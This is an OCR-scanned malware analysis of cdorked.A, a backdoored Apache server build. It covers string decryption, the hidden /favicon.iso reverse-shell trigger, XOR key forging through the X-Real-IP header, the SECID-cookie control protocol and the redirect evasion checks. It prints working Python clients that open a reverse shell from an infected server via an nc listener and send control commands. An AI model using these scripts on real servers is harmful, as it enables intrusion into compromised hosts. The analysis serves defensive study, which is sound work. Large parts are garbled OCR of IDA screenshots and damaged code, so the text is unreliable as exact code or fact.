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1 Introduction

Unlike chapro.A, cdorked.A is not an Apache module, it’s a custom Apache server! It shares a few tricks with his
cousin, but also implements new ones. The md5 of the analysed sample is 1785109¢71a8f6eb6fb1baTcceTc51eb.

It tries to hide its presence on the infected system with the following techniques:

e It uses a huge (0x5D5C70 Mb) shared memory segment (key:0xF86F) to store preferences and mutable param-
eters, likely redirection uri, controls and reports, ... Since I can’t get samples of this segment, my analysis may
be incomplete in some areas. The good news is that the shared memory segment permission is 666, aka. rwx
for everyone. This allow us to take a dump of it without having to modify the malware.

e Since the malware is not a module, it has complete control of the logs, and only a few information leaks occurs
through this mean.

2 Encoded strings

To evade detection, most importants strings are stored encrypted inside the binary. Fortunately, the encryption
process is a simple xor.

import sys
from itertools import cycle, izip

tab = [
{’size’:3, ’offset’:0x16B521},
{’size’:18, ’offset’:0x16B530},
{’size’:4, ’offset’:0x16B543},
{’size’:13, ’offset’:0x16B547},
{’size’:6, ’offset’:0x16B554},
{’size’:7, ’offset’:0x16B55B},

{’size’:5, ’offset’:0x16B563},
{’size’:4, ’offset’:0x16B568},
{’size’:4, ’offset’:0x16B56C},
{’size’:5, ’offset’:0x16B570},
{’size’:5, ’offset’:0x16B575},

{’size?:20, ’offset’:0x16B580},
{’size?:27, ’offset’:0x16B5A0},

{’size’:8, ’offset’:0x16B5BB},
{’size’:6, ’offset’:0x16B5C4},
{’size’:5, ’offset’:0x16B5CA},
{’size’:6, ’offset’:0x16B5CF},
{’size’:12, ’offset’:0x16B5D5},
{’size’:8, ’offset’:0x16B5E1},
{’size’:6, ’offset’:0x16B5EA},
{’size’:6, ’offset’:0x16B5EA},
{’size’:6, ’offset’:0x16B5F1},
{’size’:8, ’offset’:0x16B5F8},
{’size’:7, ’offset’:0x16B601},
{’size’:6, ’offset’:0x16B60A},
{’size?:7, ’offset’:0x16B611},
{’size’:6, ’offset’:0x16B619},
{’size’:6, ’offset’:0x16B620},
{’size’:7, ’offset’:0x16B627},
{’size’:9, ’offset’:0x16B62F},
{’size’:3, ’offset’:0x16B639},
{’size’:6, ’offset’:0x16B63C},

{’size’:18, ’offset’:0x16B650},
{’size’:13, ’offset’:0x16B663},



{’size’:44, ’offset’:0x16B680},
{’size’:33, ’offset’:0x16B6CO},
{’size’:6, ’offset’:0x16B6E1},
{’size’:71, ’offset’:0x16B700},
{’size’:22, ’offset’:0x16B750},
{’size’:17, ’offset’:0x16B770},
{’size?:17, ’offset’:0x16B790},
{’size’:8, ’offset’:0x16B7A1},
{’size’:8, ’offset’:0x16B7AA},
{’size’:10, ’offset’:0x16B7B3},
{’size’:20, ’offset’:0x16B7CO},

{’size’:7, ’offset’:0x16B7D5},
{’size’:8, ’offset’:0x16B7DD},
{’size’:3, ’offset’:0x16B7E6},
{’size’:3, ’offset’:0x16B7E9},
{’size’:3, ’offset’:0x16B7EC},
{’size’:3, ’offset’:0x16B7EF},
{’size’:3, ’offset’:0x16B7F2},
{’size’:3, ’offset’:0x16B7F5},
{’size’:3, ’offset’:0x16B7F8},
{’size’:3, ’offset’:0x16B7FB},
{’size’:3, ’offset’:0x16B7FE},
{’size’:3, ’offset’:0x16B801},
{’size’:3, ’offset’:0x16B804},
{’size’:3, ’offset’:0x16B807},
{’size’:3, ’offset’:0x16B80A},
{’size’:3, ’offset’:0x16B80D},
{’size’:3, ’offset’:0x16B810},
{’size’:3, ’offset’:0x16B813},
{’size’:3, ’offset’:0x16B816},
{’size’:3, ’offset’:0x16B819},
{’size’:3, ’offset’:0x16B81C},
{’size’:6, ’offset’:0x16B81F},
{’size’:3, ’offset’:0x16B826},
{’size’:3, ’offset’:0x16B829},
{’size’:3, ’offset’:0x16B82C},
{’size’:3, ’offset’:0x16B82F},

{’size’:18, ’offset’:0x16B840},
]

if len(sys.argv) != 2:
print (°Usage: ’s cdorked.A’) 7 sys.argv[0]
sys.exit()

fd = open(sys.argv[1], ’r?)

fd.seek(0x16B460) # XOR key
key = fd.read(24)

for i, s in enumerate(tab):
fd.seek(s[’offset’])
data = fd.read(s[’size’])
decrypted = ’’.join(chr(ord(c) ~ ord(k)) for c, k in izip(data, cycle(key)))
print (Cxx%s: %s’) % (i, decrypted)



3 How to get a shell?

Flle Edit Jump Search Miew Debugger Options ‘wWindows Help

e N I EE A 27 B e re—
J I_ I miwwr________________________________________________________} =]
unclions window iew s’ Shings window e iew: tuctures [ ums E Hpoits
| ] Funet o A x (B pavews B | 5 s o B HexViewd A s E e E
Function name |Senmen‘ uar:3['l= dword ;tr ~38h
[#] ap_ost_scorshoard_piocess teut var_2¢= dword ptr -2¢h
[F] ap_ost_scoreboard_global test src= quord ptr -28h
(7] ap_get_scoreboard_l test var_28= qword ptr -28h
[ 7] enor_bucket_read et var_14= dword ptr -14h
[ 7] enor_bucket_destioy tent push rbp
(7] ap_buckel_error_make Ltext
_ nov rbp. rsp
(7] ap_buckel_error_create Ltext push rbx
(7] ap_sstup_make_conteni_tupe teut sub rsp, 11828h
(7] ap_make_content_tupe et nov [rbp+fd]. edi
[7] ap_set_content_length tent lea rax, ash : “sh”
E ap,ratlonallze,mtlme et T‘W [rhp+a;’gv]. rax
E ap_rgetiine_core Jext ea rax, a :
El an_oeline et noy [rbptvar_CE8], rax
¥ - . moy [rbptvar_CBR], @
] ap_parse_ui et nov dword ptr [rbpts], 84286B6Fh
(7] rea_equest_ine et nov [rbptuar_117BC],
[F] field_rame_len tent lea rax, [rbptbuf]
[F] ap_get_mime_headers_sore text nov rsi, rax
(7] ap_get_mime_headers et nov edi, 43
E Aaé CRCI2 et call _ get_str_by index
(7] At CRCI2ON_IP tedt mov E;‘i’p*:arj”]‘ . aid
(7] _gel_pioxy_header Ltext nov edi 8 B!lld
(7] #AA_NEVER_CALLED text call _setpgid
(7] mas_xoR text lea rdx, [rbp+var_50]
7] _aet_client_ip tort lea rax, [rbp+var_4ac]
| _rar_encryption text noy rsi, rdx
=T | mov rdi, rax
" call open_tty
Line 1164 of 4529 test eax, eax
Hr, Graph overview g x jnz short loc_43DCBA
1
v
e e
loc_43DCAA:
100.00% [(32%,4%6) [(588,269) [0003DES7 [000000000043DBS7:  get shellfS: oot ot
[AU: idle [Dowm [Disk: 73CB
This looks totally legit.
.
3.1 Uri and parameter
File Edt Jump Search Wiew Debugger Options Windows Help
I e[ ®®a &3 T 0||datd & #ea X[ b OOFws || JFF |
1 I L : | =
[ #] Functions windaw 8 x 104 View-# | ['s] Stiings window | (D] HexViewd | [A]  Stuctures | (5] Erums | 2] Expots |
Function name: iz |55Dmgﬂi! TAT_O0= (WOrd prr -aum
var_34= dword ptr -34h
m A1b24DA3bee52F1 862208 Jtewt var 3 dword ptr -38h
7] 9431491 25FE 2201 23568260874 tedt var 2¢= dword ptr —2ch
[7] Até_4BHOURS_CHECK? et 1P ADDR= quord ptr -28h
7] hoe_Bi6d_2 text var_1a= word ptr -1ah
[F] ana_cALL_ALL2 text tmp= qword ptr -18h
[F] aas_CONTROL tent
[F] # COMYERT_TOLBed tent push 'gp
[7] a8 CRC2 et "'3:h :12' rsp
(7] At CRCI2ON_IP tedt Bush e
7] #é DECYPHER_HOR_REQ et sub rsp, 1180h
[7] A ENTRY_POINT? test mov [rbp+var_1178], rdi
[F] s GET_IP teut lea rax, [rbp+s]
E Ads_GET_PROXY_HEADER text mnov rsi, rax
[7] A& GET_SHM et mov edi, 3 .
At MALWARE_MAIN text ::.1.1 FE:;;;?E:{J::?
EMNEVER’EALLED fext mov rax, [rhﬁﬂ!ar71178]
7] At SERVE_MALWARE? tedt nov rdw [raxt566]
[7] tee_SET_COOKIE tent lea rax, [rbpts]
7] At SOCKET_BACKDOOR test mov rsi, rdx ; requested url
E Ads_TEST_REFERER text mov rdi, rax : ffavicon. iso
(7] sas_oR tont call _strcmp
[F] &84 GET_SHELL teat test  eax. eax
El Apb_ap read_request et jnz not_backdoor_request
(7] ASH1_INTEGER cmp - I
[71 ASNT INTEGER aet extem
| | 3
Line 15 of 4529
&k, Graph overview &8 x
100.00% [(995, 50€) [(924,549) [0003E303 [J00000000043E303: AAA MALWARE MAIN+SZ
[EU: idle [Dowm [Disk: 7368

The url is /favicon.iso (and not favicon.ico) and the parameter is "GET BACK;LHOST;LPORT", xored with a
derivate of the client’s ip, or if specified, the X-Forwared-For and X-Real-IP headers, and finally hex-encoded.



3.2 Xor encryption

File Edit Jump Search Miew Debugger Options ‘Windows Help

R Y A N E T ar A e  rr— |
i
M.I_ 1 I =l
| #] Functions window 8 x DA Views [ | [S] Stings nindow | © Hexviews | Al Stuctures | 1 Enums | & Espots |
Function name [ Seamen « var_TF= byte ptr —Trh
& s == o e v
7] _#809_cmp_cunent_time it var 14 dzurdpptr Z1ah
[7] _x509_free R
(7] _<509_get_ext .l push  rbp
(7] _¥605_get_ext_by NID it nov rbp. rsp
(7] _+603_get_exi_count plt push rbx
(7] _¥605_get_issuer_name: plt sub rsp. 48h .
[F] _E09_get_pubkey ot mov [rbp+var_38], rdi
(7] E09_get_serialumber ot nov [rbp+var_aa], rsi
= nov [rbp+ip_address], edx
E _#509_get_subject_name .plt nov gax, [rbptip_address]
[ 7] <809 _verify_cert .plt cdqe -
[ 7] 505 _verify_cert_errar_string it and eax, BFFEBEBBBH
Z —Clype_b_loc it sar rax, 24
7] __enno_location plt add eax, 5
[F] __ibe_start_main ot mov [rbptvar_20], al
(7] _ctupe_tiioc extain nov eax, [rbptip_address]
cdge
E __ctype_b loc@@GLIBC_2_3 extemn and eax, OFFAOOBh
(7] __do_glabal_ctors_aux Jtewt sar rax, 16
[7] __do_global_diors_aus text add eax, 33
(7] __ema_location extem nov [rbptvar_1F]. al
7] __emo_location@@GLIBC_2_2_5 extem mnov eax, [rbp+ip_address]
7] _aet_client_ip teut cdqe
[F] ot pioxy_header text and eax, OFFooh
7] _getreverss_shel st sar rax, 8
K3l t st bu index et T add eax, 55
g | - nov [rbptvar_1E], al
nov eax, [rbptip_address]
Line 420 of 4529 add eax, 78
5, Graph overview & x moy [rbp+var_1D], al
— moy [rbp+var 2E]. ®
nov [rbptvar_14], B
jmp short loc_43aEFC
i
100.00% [(-103,235) [(757,284) \UUDEAEED"JU.EE.ETETI%‘DDUQEAKED: ¥0T encryptiontss
[E0:  idle [Down [Disk: 73CB

The code looks roughly like this:

(client _ip A 0z F'F000000) >> 24) + 5
(client _ip A Oz FF0000) >> 16) + 33
(client_ip A 0xFF00) >> 8) + 55
(client_ip)) + 78

|
— o~~~

Knowing this fact, we can forge a "0000" key for simplicity’s sake, since xoring a string with zeros outputs the
string. Since an ipv4 is 4 bytes, we must set every one to 256, which will overflow and be equals to 0:



File Edit Jump Seach Wiew Debugger Options Windows Help

183 [ a||E Ol i F > # = X[ > 0 O =)

oy W
7] Functians windom 8 x DA st ] | =] Suings window (1 | &) HexViewsr [ | A Swewes (0 | E Emme ()| & Epers (|
Function name | Seamen « | J
 —
| #] ap_get_scoreboard_process text P
(7] ap_get_scoreboard_global test
Lf| ap_get_scoreboard_lb text loc_d34EFC:
(7] enar_buckel_read test oo ol ML
(7] enor_bucket_destroy text nov rdi. rax Tois
[ F] ap_bucket_srror_make teat z:]r'l ;::”:"
[ ] ap_bucket_errar_create tet — cmp rbx, rax
F] ap_setup_make_cantent_type text ib short loc_43AE9n
L£| ap_make_content_type text 5 1 +
[£] ap_set_content_length text P =
[£] ap_rationalize_mtime: text nov eax, [rbptvar_14]
7] ap_rostline_core test lac_a3AE9A: add rax, [rbp+uar_a8]
= nov eax, [rbpsvar_14] nov byte ptr [rax], B
g 2p_getine text add eax, eax add rsp. 72
|F] ap_parse_uri text nov eax, eax o rbx
7] mov FCX, rax eave
Ed read_tequest_line text add rex, [rbpivar_3a] retn
|7] field_name_len text lea rax, [rbpss] xor_encryption endp
|f| ap_get_mime_headers_core text :g: ::;& 5“ : :”
Lf] an_get_mime_headers test nov rdi. rax * dest
Lf]| A4 _CRC32 test call _strncpy [
L e LRE LR test Tea v g
[F] __get_proxy_header teut lea rdx, [rbp+var_z4]
7] nov rsi, rex ; format
I; A48 _NEVER_CALLED test oy Wi, rax e
[7] o xoR test nov eax, B
[F] __get_client_ip text call _“m?fh 1]
- nov eax, [rbpvar
L] _ror_enciyption (Gl [ add rax, [rh;':w:r aa]
4| | » nov edx. [rbpvar_14]
and edx, 3
Line 1164 of 4529 nov edx, edx
i B 5 x novex eds, [rbpirdxivar_20]
nov edx, [rbpsvar_24]
wdr edx, ecx
nov [rax]. dl
add [rbptvar_14], 1
L
[50-00% [(-2&8,773] [(955,487) [J003AEF4 [000000000043AEF4:  xor encryptiontCO

AT: idle [Dowm Disk: 73GB

So, your null-xor-key related ip is 251.223.201.178

4 The shell

Since shell doesn’t fork itself, the HT'TP request will hang during the whole shell existence. After its termination,
the malware will send a 302 to the client, and serve google.com. This action will appear in Apache’s logs.

import urllib2
import subprocess
import os

LHOST
LPORT

7192.168.1.129?
’4444>

RHOST
RPORT

’192.168.1.141°
780)

param = (’GET_BACK;%s;%s’ % (LHOST, LPORT)).encode(’hex’)
request = ’http://s:s/favicon.iso?)s’ ’ (RHOST, RPORT, param)

if os.fork():
req = urllib2.Request (request)
req.add_header (’X-Real-IP’, ’251.223.201.1787)
urllib2.urlopen(req)
else:
subprocess.call([’nc’, ’-1’, LPORT])

4.1 Sum up
e Reverse shell
e GET request
e X-Forwarded-For or X-Real-IP derived XOR key



e Hanging request

e Google.com in the logs

5 How to control the malware ?

A large panel of (obfuscated) commands is available: 'DU’, ’ST’, 'T1’, ’L1’°, 'D1’, ’L2’, 'D2’, ’L38’, 'D8’, °L}’, ’DJ’,
L5, °D5’, °L6°, ’D6°, ’L7’, 'D7°, °L8’°, ’D8’, °’L9’°, 'D9’, ’LA’, ’DA’

But unfortunately, I didn’t figured out what they are doing, apart from the fact that some are setters, and others
are getters. Access

The access to the malware’s control is a little bit more obfuscated than the reverse-shell access:

5.1 Uri

1 I wieer___________________________________________J I |
7] Funetions window a x Daviens [ | [5] Suingswindan [ | D] HexViews | B stwetues | ] Enums | B Evports |
Function name: [ 5camen ~| . text:0000060000643EFBS mov dword ptr [rax], 8 -]
\ﬂ _ enno_location plt . text:000080000043EFBF mov rax, cs:_ap_etag_ptr al
F _ibe_start_main St . text:0000060000643EFCE mov byte ptr [rax]. @
7] _check_estension ot . text:000000008843EFCI lea rax, [rbptvar_28Fa]
- . text:008080000643EFDB mov rsi, rax
Z] —ctupe_b oo G | text:08BBEBMBBAIEFDS mov edi, 8
(7] _ctype_b loc@®@GLIBC 2.3 sxtem . text:0800808B08043EFDE call __get_str_by index
(7] _do_glohal_ctors_aux text . text:000000008043EFDD movzx  edx, [rbptvar_20Fa]
[7] __do_global_dbors_aux tewt . text:000000000043EFE] mov rax, [rbptvar_2108]
i| __enmo_location eutern . text:900000000043EFEB mov rcx, [raxt230h] : parameter
[F] _ema_location@@GLIEC_2_2_5 e . text:000000000043EFF2 movzx eax, cs: 6.9 8 ; eax = B
zl get_client_ip et . text:000000000043EFFY movsx rax, al
7 - [ st . text:0000000006043EFFD lea rax, [rcxtrax] : rax = parameter[6]
—gelproxy_haader o . text:0000000066043F001 movzx  eax, byte ptr [rax] : eax = n = 110d
7] —aelreverse_chel text . text:000000000043F004 cnp dl, al pdl =
E —ast_shell tewt . text:000000000043F006 jnz loc_441CDA
[F] _get_st_bu_index et . text:0000060006643FAAC movzx  edx, [rbptvar_26EF]
[F] __gmor_start__ extem . text:0000060006643F013 mov rax, [rbptvar_2188]
[F] _libe_csu fini e . text:0000060006643F0 14 mov rcx, [raxt238h] ; parameter
\ZI _lbe_cau init et . text:000080000043F021 movzx eax, cs:_6_9_8+1 ; eax = 9
7 S et anmmannaonearioo s Tl )
. text: ea rax, rcxtrax : rax = arameter
7] —lbe_startmain@@GLIBC_2_2.5 eem | text:008000000043FO30 movzx  eax, byte ptr [rax] P
[F] _malware_contrl text . text:000000800043F033 cnp d1, al el =1
\EI —serve_malware text . text:000000000043F035 jnz loc_441CDD
[7] _set_cookie text . text:000000000043F038 movzx edx, [rbptvar_28EE]
E _test_referer text . text:000000000043F042 mov rax, [rbp+var_2108]
__vor_enciyption et . text:0000008000043F049 mov rcx, [rax+238h] ; parameter
zl albaic At . text:000000000043F050 MOVZ X eax, c¢s:_6_9 842 ; eax = 8
E ‘ap encode._basstd ot . text:000000000043F057 movs X rax, al
- - . text:0000060000043F05B lea rax, [rcxtrax]  eax = parameter[8]
7] -ap_gen_atag tent . text:000000600043F05F movzx  eax, byte ptr [rax]
E —ap_print_stag text . text:000000000043F062 cmp dl, al ;odl ="t
E _apr_allocator_allos -plt . text:000080000043FB64 jnz loc_441CEB
[F] _apr_allocatar_create .plt . text:0000060006643F06A cnp [rbptcookie_name], &
(7 g ——— o . text:080008BNBRAIFAT2 jbe Loc_441CE3 )
7] _apr_allocator_tiee At . text:0000060000643F078 mov rax, [rbptcookie]
Al o alveston mre fem e olt - . text:800088000843F07F movzx  eax, byte ptr [rax]
4 | o . text:0000008000843F082 cmp al, 's'
Ui 460 of 4529 U003EFES [000000000043FES:  malware controlfos |

[E0: idle [Down [Disk: 73CE

The url must match the following pattern: [.5n.if.*] and be requested with POST method.

5.2 Parameter

Like above, the parameter which serves as command is transmitted hex-encoded, and also xored using the method
described above.



5.3 Cookie

File Edt Jump Search Wiew Debugger Options Windows Help

[ % Q][] &=~ b - [ 0 8 [ % [ & ||| D O[] ki of F > i X[ b D Ofooomon ||| (1) 8 B |

M moo 11 Ueiwwer ________________________________________________________H I— |
| #] Functions window 8 x DA Views [ | [S] Stings nindow | © Hexviews | Al Stuctures | 1 Enums | & Espots |
Function name: [ Seamen = . text:000000000043F05F movzx  eax, byte ptr [rax] |
[#] ap_ost_scorshoard_piocess text . text:000000000043F062 cnp dl, al : dl = 9x69 —
7 ap_ael_scorsbosrd_global ot . text:000008808042F064 jnz loc_a41CEQ
(7 ap_gelscoreboard_b text . text:000000000043F06A cnp [rbp+cookie_name], &
] amo . text:000000000043F072 jbe loc_441CE3
S| entor_bucket_read et . text:00B000000043F07E mov rax, [rbp+cookie]
[7] enor_bucket_destioy tedt . text:000000000043F07F movzx  eax, byte ptr [rax]
[7] sp_bucket_error_make et . text:000000608043F082 cnp al, *§
(7] ap_buckel_enor_create teut . text:000000608043F084 jnz loc_441CE6
E ap_setup_make_content_type tent . text:000000000043FA8A mov rax, [rbptcookie]
2] spmaka-oorent- e - 2 ot A00DIOAAARAIFAIS maves  om, byte ptr [rax]
. text: movzx  eax, byte ptr [rax
% :z’::::::::"ﬁ;fth t::: | text:00B000A00043FOIE cnp al, 'E'
- - : . text:000008008043F09A jnz loc_441CES
(7] ap_rgetline_care ted . text:0800808808043F0AR mov rax, [rbptcookie]
[ an_getine et . text:080800000043F0A7 add rax, 2
7] ap_parse_ui text . text:000000000043F0NB movzx eax, byte ptr [rax]
[F] read_request_line teut . text:000008808042F0AE cnp al, '¢
7] tiekd_name_len et . text:000008606042F0B0 jnz loc_441CEC
(7] ap_get_mime_hesders_core text . text:000000000043F0BE mov rax, [rbptcookie]
7] ap_oeLrime_hesders ot . text:0000006060423F0BD add rax, 3
\EA.A:ALEREB{ .t ) . text:000000000043FOCT movzx  eax, byte ptr [rax]
SR . text:000000000043F0CA cnp al, "I’
[7] Ama CRC32 ONLIP tedt . text:000000000043FOCE jnz Loc_441CEF
(7] —setproy header et . text:000000000043FOCC mov rax, [rbptcookie]
[7] &a¢ MEVER_CALLED teut . text:000000608043F0D3 add rax, 1
E Add_OR tent . text:000000800043FOD7 movz ¥ eax, byte ptr [rax]
F _aet_clert_ip tent . text:000008608043F0DA cnp z;l, "
i . text:000000608043FODC jnz oc_441CF2
ﬂ’;g'fm’ t::: | text:00B000000043FOE? mow rax, [rbptcookie]
- : . text:000008008043F0EY add rax,
(7] efcBadd1 FICITd32ED e . text:088088088043FBED movzx  eax, byte ptr [rax]
[7] RF2dc22263470CE S66FEE ext . text:0008000000043F0F8 cnp al, "=’
(7] med5e2E 3320506 34D acf text . text:000008006043F0F2 jnz loc_441CF5
[F] &1624D43botE2F 1862206 teut . text:000000000043F0F8 mov rax, [rbp+cookie]
(7] Kae 447529565 dab i et . text:000008808042F0FF add rax, &
(7] ne77sraarednTaesehecT text . text:000000000043F103 mow [rhp+cuokieill:untegt], rax
. text:000000000043F 107 moy rax, cs:_ap_logind ptr
LT‘ HIF19H0aSd%etaeb 114 | 'te"'_l—l | text:000000000043F10E mnov dword ptr [rax]. 3186
Line 1164 of 4529 [UD03FOSF [000000000043FOSF:  malware controlfCE =l

[AU:  idle [Down [Disk: 73GB
The user must have a cookie starting with "SECID=", and it seems like remainings characters are used as vector for
commands parameter.

5.4 Answer

File Edit Jump Search Miew Debugger Options Windows Help

8 Rl ere ][ 88853 u]|@ 0|d e &~ # e X[ > O O E[ES
1 Il wiewr_________________________________________________H =
\Z Functions window F X 1DA Wiew- | |§| Strings window | @ Hex View-2 | \E Structures | L?j Enums: | @ Expoits |

Function name [Seamen <] r_30]

\ﬂ __check_extension tewt

\z afFB4d3e2893B8deBa1 emt )

(7] pFO545626391 32508040983 text etag :‘:”"at

[ Edel 1097608554 39e7Be1007h et e raa-pt

\Z A43f491 26FE 2201 2356826874 text ’

E WFD275e5667F018702500 text

[F] at2ato2CE2c034ca5552D tent o ftr]

(7] _test_referer tewt ioptr

E __serve_malware text

7] _set_cackie text ulELL]

E A4 ENTRY_POINT? Jtewt -_—

\Z Z767bE 3b2cbBTbal BF51 Gela28fc0B3600 text l l

(7] e ed_2 text

[F] _sp_encode_basstd et LR e LR e
[7] A&4_CONVERT_TO_Be4 tent lea rax, [rbptvar_28F0]

E WiF1428480FF9bhe emt loc_448CF5: mov [rbptvar_38], rax loc_4a41878: loc_4a417
@ open_tty ot ﬂ_ lea rax, [rbptvar_28F0] lea rax, [rbptvar_28Fa] lea rax, [rbptvar_268F0] mov

print_etag|| |mov [rbptvar_38], rax mov rdi, rax nov [rbptvar_38], rax call

(7] hangaut fent n41C78 lea rax, [rbptvar_20r@] call _ap_gen_etag lea rax, [rbptvar_28F@] jmp

7] —getshel et nov rdi, rax lea rax, ase3 : "%s 03" |mov rdi, rax T —
7] _aet_reversa_shel tewt call _ap_gen_etag moy rdx. [rbptvar_38] call _ap_gen_etag

[F] resolve bt lea rax, ase2 ;s 02"| |mov rsi, rax ; format [ |lea rax, ase2 3 ks g2v

[F] At MALWARE_MAIN text moy rde(, [rbptvar_30] moy rax, cs:_ap_etag ptr moy rde(, [rbp+var_30]

_ap_ger_elag e mnov rsi, rax ; format |||mov rdi, rax i s mov rsi, rax ; format

7] _ap_piint_stag emt nov rax, cs:_ap_etangtr mov eax, 0 nov rax, cs:_ap_etangtr

nov rdi. rax - call _sprintf nov rdi, rax H

7] _malware_contrl et _I;l nov eax, 0 jmp loc_441C78 nov eax, @

1 | r call _sprintf call _sprintf

Line 1200 of 4529 jmp loc_441c78 jmp loc_441Cc78

ik, Graph overview 8 x

|I00.00% [(7561,11508) [(550,80) [00040B3Z [0000000000440B32:  malware controlflBAL

(AT idle [Down [Disk: 7368
The malware responds to the user using etag (http://en.wikipedia.org/wiki/HTTP ETag), by appending its answer
to it.

import urllib2
import sys



RHOST
RPORT

7192.168.56.101°
)807

COMMANDS = [’DU’, ’ST’, °T1’, °Li’, °D1’, ’L2’, °D2’, °L3’, ’D3’,
’L4>, °D4’, ’L5’, °D5’, ’L6’, ’D6’, ’L7’, ’D7’, ’L8’, ’D8’,
’L9’, ’D9’, ’LA’, ’DA’]

if len(sys.argv) != 2:
print ’The command is missing’
sys.exit()

command = sys.argv[i].encode(’hex’)

if sys.argv[1] not in COMMANDS:
print ’Invalid command’
print ’Commands: 7%s’ 7 COMMANDS
sys.exit()

url = ’_2 * 5 + ’n’ + ?_2 + ’1’ + £’ # wurl for triggering commands
complete_url = ’http://%(rhost)s:% (rport)s/Y%(url)s?)(command)s’ % \
{’rhost’: RHOST, ’rport’: RPORT, ’url’: url, ’command’: command}

class MyHTTPRedirectHandler (urllib2.HTTPRedirectHandler):
def http_error_302(self, req, fp, code, msg, headers):
answer = headers[’ETag’]
print answer
sys.exit() # don’t care about everything else

opener = urllib2.build_opener (MyHTTPRedirectHandler)
opener .addheaders.append ((’Cookie’, ’SECID=’))

opener .addheaders. append ((’X-Real-IP’, ’251.223.201.1787))
response = opener.open(complete_url, data=’’)

5.5 Sum up

e Obfuscated control protocol

Post request

X-Forwarded-For or X-Real-IP derived XOR key

Cookie beginning with "SECID=", also used as commands arguments

Answer through etag

6 How to be redirected

Some tests are performed to evade detection:

e The port must not be 443

e Some headers must be presents:

Accept-Language

Accept-Encoding

Referrer

User-agent



e The extension must match:

— html
— htm

— php

— php4
— php3
— shtml
— shtm

e The referer must not match:

— adm

— webmaster
— submit
— stat

— stat

— mrtg

— webmin
— cpanel
— memb
— bucks
— bill

— host

— secur

— support

Some things also remains unclear to me for now:

The malware seems to do a check for a 48h interval Some unknown checks are done with value from the shared
memory segment

To avoid spamming users, the malware serves a cookie upon successful redirection:

GIDID=6745609876567 ; path=/; expires=Friday, 31-Dec-2030 23:59:59 GMT

But only the first part of it ("*GIDID=6745609876567*") is tested to determine if the user should be redirected
or not.

7 Misc notes

e All functions added to Apache by the malware are looking like a hash: this helped a lot the reversing process.

The malware uses SSE instructions in some precises places.

The malware doesn’t seems to have a CC.

e The binary isn’t stripped, and was likely produced in mid-january, on a Red Hat machine.
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